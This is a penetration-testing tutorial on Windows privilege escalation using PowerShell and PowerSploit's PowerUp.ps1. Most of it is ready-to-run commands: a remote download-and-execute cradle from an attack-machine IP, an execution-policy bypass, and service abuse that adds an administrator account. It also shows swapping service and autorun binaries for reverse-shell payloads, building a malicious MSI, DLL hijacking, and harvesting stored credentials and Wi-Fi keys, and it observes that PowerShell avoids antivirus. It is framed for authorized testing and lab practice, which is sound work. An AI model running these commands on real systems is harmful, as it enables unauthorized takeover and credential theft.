PowerShell is already on every modern Windows system, making it one of the most practical tools for privilege escalation during a penetration test. Combined with scripts like PowerUp.ps1 from the PowerSploit framework, you can quickly enumerate and exploit common misconfigurations without uploading additional binaries. This tutorial walks through the key techniques step by step.
Getting Started with PowerUp.ps1
PowerUp is a PowerShell script that automates the discovery of common Windows privilege escalation vectors. It is part of the PowerSploit project and has been a staple of Windows privilege escalation for years.
First, transfer PowerUp.ps1 to the target system. You can host it on your attack machine and download it:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/PowerUp.ps1')
Or if you have already transferred the file:
. .\PowerUp.ps1
If script execution is restricted, bypass the policy:
powershell -ep bypass -file PowerUp.ps1
Run the full enumeration:
Invoke-AllChecks
This single command checks for all the vulnerabilities we will cover below and produces a report. But understanding each check individually makes you a better tester, so let us dig into each one.
Service Misconfigurations
Windows services are programs that run in the background, often with SYSTEM privileges. Misconfigurations in how these services are set up can give us an escalation path.
Weak Service Permissions
If your user has permission to modify a service's configuration, you can change the binary path to point to your payload:
Get-ModifiableService
This checks every service to see if your current user can modify its configuration. If it finds one:
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'Password123'
This modifies the service to create a new local administrator account, then restores the original configuration. You can also set a custom command:
Invoke-ServiceAbuse -Name 'VulnService' -Command "net localgroup administrators hacker /add"
To check service permissions manually with sc and accesschk:
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
sc qc VulnService
Writable Service Binaries
Sometimes the service configuration is locked down, but the actual executable file has weak permissions:
Get-ModifiableServiceFile
If you can overwrite the service binary, replace it with your payload:
Install-ServiceBinary -Name 'VulnService'
Or manually:
copy C:\temp\reverse.exe "C:\Program Files\VulnApp\service.exe"
sc stop VulnService
sc start VulnService
Unquoted Service Paths
This is one of the most commonly tested privilege escalation vectors, and for good reason. When a service binary path contains spaces and is not enclosed in quotes, Windows tries to interpret it ambiguously.
Consider this unquoted path:
C:\Program Files\Vulnerable App\Service Binary\vuln.exe
Windows will try to execute these in order:
C:\Program.exeC:\Program Files\Vulnerable.exeC:\Program Files\Vulnerable App\Service.exeC:\Program Files\Vulnerable App\Service Binary\vuln.exe
If you can write to any of those intermediate locations, you can place your payload there.
Enumerate unquoted service paths:
Get-UnquotedService
Or with a manual WMIC query:
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
To exploit, place your executable at one of the intermediate paths:
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vulnerable App\Service.exe'
Then restart the service (or wait for a reboot if the service starts automatically):
sc stop VulnService
sc start VulnService
Registry Autoruns with Weak Permissions
Programs that start automatically via registry keys are another escalation target. If the binary referenced by an autorun entry has weak file permissions, you can replace it.
Get-ModifiableRegistryAutoRun
This checks common autorun locations:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceHKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
For each autorun, it verifies whether you can modify the referenced binary. If you can:
copy C:\temp\payload.exe "C:\Program Files\AutoRunApp\updater.exe"
The payload executes next time the system starts (or when a user logs in, depending on the registry key).
AlwaysInstallElevated Check
This is a Windows group policy setting that, when enabled, allows any user to install MSI packages with SYSTEM privileges. It requires two registry keys to both be set to 1:
Get-RegistryAlwaysInstallElevated
Manual check:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If both return 0x1, you can create a malicious MSI and get SYSTEM execution. We cover this technique in depth in our dedicated AlwaysInstallElevated article.
Quick exploitation with PowerUp:
Write-UserAddMSI
This creates an MSI in the current directory that adds a local administrator when installed.
DLL Hijacking Opportunities
PowerUp can also identify DLL hijacking opportunities by checking the PATH for writable directories:
Find-PathDLLHijack
If any directories in the system PATH are writable by your user, you can place a malicious DLL there to be loaded by applications searching for DLLs.
Scheduled Tasks
Scheduled tasks that reference writable binaries are another vector:
Get-ModifiableScheduledTaskFile
This is similar to the service binary attack - if the scheduled task runs a program you can overwrite, replace it with your payload and wait for the task to execute.
Beyond PowerUp - Other Useful PowerShell Techniques
Credential Harvesting
Search for credentials stored in common locations:
# Saved credentials
cmdkey /list
# Unattend files
Get-ChildItem C:\ -Recurse -Filter "unattend.xml" -ErrorAction SilentlyContinue
# PowerShell history
Get-Content (Get-PSReadlineOption).HistorySavePath
# Wi-Fi passwords
netsh wlan show profiles | ForEach-Object {
if ($_ -match "All User Profile\s+:\s+(.+)$") {
netsh wlan show profile name="$($matches[1])" key=clear
}
}
Quick System Enumeration
# OS version and patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10
# Running processes
Get-Process | Select-Object Name, Id, Path | Sort-Object Name
# Network connections
Get-NetTCPConnection | Where-Object State -eq 'Established'
Putting It All Together
A typical PowerShell privilege escalation workflow looks like this:
- Transfer and load PowerUp.ps1
- Run
Invoke-AllChecksfor a complete overview - Review the output for exploitable findings
- Use the corresponding PowerUp exploitation function
- Verify escalation with
whoami
The beauty of this approach is that PowerShell is a trusted, signed Microsoft binary. Using it for enumeration and exploitation is less likely to trigger antivirus alerts compared to uploading compiled tools.
Conclusion
PowerShell combined with PowerUp gives you a comprehensive privilege escalation toolkit that requires nothing beyond what Windows already provides. Master these techniques and you will have reliable escalation paths on the majority of Windows systems you encounter during penetration tests.
Practice on intentionally vulnerable machines like those on HackTheBox or VulnHub to build your confidence before using these techniques in real engagements.